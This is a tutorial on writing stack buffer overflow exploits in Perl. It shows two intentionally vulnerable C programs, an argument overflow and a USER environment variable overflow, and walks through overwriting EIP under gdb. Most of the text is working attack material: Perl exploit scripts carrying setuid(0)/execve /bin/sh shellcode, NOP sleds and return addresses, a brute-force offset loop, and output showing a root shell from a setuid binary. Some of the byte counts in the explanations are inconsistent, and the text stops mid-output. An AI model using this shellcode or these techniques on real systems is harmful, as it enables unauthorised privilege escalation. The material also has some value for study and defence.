Stack Exploit Coding - A PERL perspective
dethy@synnergy.net
Introduction
PERL stack buffer overflow exploits aren't as well explored as C
exploits when it comes to munging the stack. This brief paper will
outline ways PERL can be used to create a working exploit with greater
ease than standard C based exploits. Afterall PERL was developed for
data manipulation, why not put it to use ? ;)
Overview
Let's begin with a simple and common example.
-- vuln.c --
#include <stdio.h>
int main(int argc, char **argv) {
char buffer[180];
if(argc>1)
strcpy(buffer,argv[1]);
printf("got data!\n");
}
-- end vuln.c --
The overflow is obvious. A direct copy without any boundary checks into
'buffer' allows an overflow to take form, and potentially overwrite the
EIP memory address.
[ dethy@fw ~ ]$ gcc -o vuln vuln.c
[ dethy@fw ~ ]$ ./vuln A
got data!
okay. Nothing great here. Let's increase our input data.
[dethy@fw ~ ]$ ./vuln `perl -e 'print "A"x184'`
got data!
Segmentation fault(core dump)
Looks like we've overflowed the buffer, but have we overwritten the
EIP to modify program execution later on?
It's important to remember that memory is a 4 byte address held in
1 byte char.
Example:
| 83 | --
| 84 | -- 4 bytes of data store 1 memory address
| 85 | --
| 86 | --
| 87 | --
| 88 | -- another 4 bytes for the next address
| 89 | --
| 90 | --
Let's get back to the snapshot of the memory image we forced the
program to dump.
[ dethy@fw ~ ]$ gdb vuln core --quiet
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x40033a1e in __libc_start_main () from /lib/libc.so.6
(gdb) info reg
eax 0x400ff0d8 1074786520
ecx 0xbffff910 -1073743600
edx 0x1 1
ebx 0x400ffed4 1074790100
esp 0xbffff908 0xbffff908
ebp 0x41414141 0x41414141
esi 0x4000acb0 1073786032
edi 0xbffff954 -1073743532
eip 0x40033a1e 0x40033a1e
eflags 0x10292 66194
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
Important registers we're primarily concerned with:
* esp - extended stack pointer
* ebp - extended base pointer
* eip - extended instruction pointer
As we can see, EIP didn't get overwritten but EBP did.
Now we know the memory layout looks like this:
__|__
| |
| EBP | - 4 byte address
|_____|
__|__
| |
| EIP | - next 4 byte address
|_____|
so wisely we know if we add an extra 4 bytes of data to our input
string ie ./vuln `perl -e 'print "A"x88'` we will completey
overwrite the instruction pointer(eip).
[ dethy@fw ~ ]$ ./vuln `perl -e 'print "A"x88'`
got data!
Segmentation fault (core dumped)
[ dethy@fw ~ ]$ gdb vuln core --quiet
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) info reg
eax 0xa 10
ecx 0x40014000 1073823744
edx 0x400fe660 1074783840
ebx 0x400ffed4 1074790100
esp 0xbffff910 0xbffff910
ebp 0x41414141 0x41414141
esi 0x4000acb0 1073786032
edi 0xbffff954 -1073743532
eip 0x41414141 0x41414141
eflags 0x10282 66178
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
Our prediction is correct. The 0x41 is the hex equivalent of "A", a
complete overwrite was successful.
our buffer looked like this:
EIP
______|_______
/ | | \
187 188 189 190
A A A A -> our input data
41 41 41 41 -> hex address( 41414141 )
Now how do we create the exploit ?
First step is to take the ESP value, in this instance it was
0xbffff910. Create the shellcode to execute a /bin/sh shell, and fill
the $buf with the length of the data we used to overwrite EIP, and
$ret with the ESP value.
-- exp.pl --
#!/usr/bin/perl
$shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
$ret = 0xbffffaa0;
$buf = 188;
$egg = 2000;
$nop = "\x90";
$offset = 0;
if (@ARGV == 1) { $offset = $ARGV[0]; }
$addr = pack('l', ($ret + $offset));
for ($i = 0; $i < $buf; $i += 4) {
$buffer .= $addr;
}
for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
exec("./vuln", $buffer,0);
-- end exp.pl --
[ dethy@fw ~ ]$ perl exp.pl
got data!
Illegal instruction
Ouch. Looks like we're just off from getting that /bin/sh shell. Now,
let's bring $offset into play to use as a range of where our shellcode
may be stored in memory. Run the following script to obtain the
correct offset required to bust a shell. ;)
#!/usr/bin/perl
for($i=-2000;$i<2000;$i++) {
print("trying offset: $i\n");
system("ulimit -c 0;./exp.pl $i");
}
[ dethy@fw ~ ]$ perl brute.pl
trying offset: -2000
got data!
trying offset: -1999
got data!
..
trying offset: 100
bash#
(of course if the program were suid it would drop us to root, for the
purpose of this tutorial I made the vulnerable program setuid root).
So offset 100 is where our payload is. Let's add this to the initial
exp.pl
[ dethy@fw ~ ]$ id
uid=511(dethy) gid=100(users) groups=100(users)
[ dethy@fw ~ ]$ ./exp.pl 100
got data!
bash# id
uid=0(root) gid=100(users) egid=0(root) groups=100(users)
bingo. As is displayed we found the /bin/sh address in memory.
Of careful not is to recognise that the above exploit made an $egg and
filled the buffer containing NOPS + SHELLCODE + RET outside the vulnerable
buffer. That means, we created the payload in another buffer, since the
original may have been slightly too small for our needs.
Now for an example of an environment variable overflow, as opposed to
command line input argument overflow.
-- vuln2.c --
#include <stdio.h>
main() {
char buffer[1024];
if (getenv("USER") == NULL) {
fprintf(stderr, "Oops!\n");
exit(1);
}
strcpy(buffer, (char *)getenv("USER"));
printf("Environment variable USER is:\"%s\".\n", buffer);
return 1;}
-- end vuln2.c --
an excessively long USER environment variable will be copied unchecked
into the buffer which has a 1024 char limit. With this given knowledge
let's bring some practically into play.
[ dethy@fw ~ ]$ ./vuln2
Environment variable USER is: "dethy".
[ dethy@fw ~ ]$
Assumed:
1025 1026 1027 1028 would be the address of EBP
1029 1030 1031 1032 would be the EIP
So once against 1032 char string for the USER environment variable
would overwrite EIP.
[ dethy@fw ~ ]$ export USER=`perl -e 'print "A"x1032'`
[ dethy@fw ~ ]$ ./vuln2
Environment variable USER is:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
Segmentation fault (core dumped)
[ dethy@fw ~ ]$ gdb vuln2 core --quiet
(no debugging symbols found)...Core was generated by `./vuln2'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x41414141 in ?? ()
(gdb) info reg esp
esp 0x7ffff8e0 0x7ffff8e0
the esp address will be the address to use in our exploit, so let's
create it. The aformentioned exp.pl exploit was an example of making
the payload outside the buffer (first demonstrated by the infamous aleph1).
Now, since this vulnerable buffer is large enough to pad with our shellcode
we will fill this buffer with our payload, inside the buffer itself.
-- exp2.pl --
#!/usr/bin/perl
$shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0" .
"\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" .
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
$buf = 1032;
$ret = 0x7ffff8e0;
$nop = "\x90";
$offset = -96; # worked for me
if (@ARGV == 1) { $offset = $ARGV[0]; }
for ($i = 0; $i < ($buf - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
$addr = pack('l', ($ret + $offset));
for ($i += length($shellcode); $i < $buf; $i += 4) {
$buffer .= $addr;
}
$ENV{'USER'} = $buffer; exec("./vuln2");
-- end exp2.pl --
Environment variable USER is:
"
|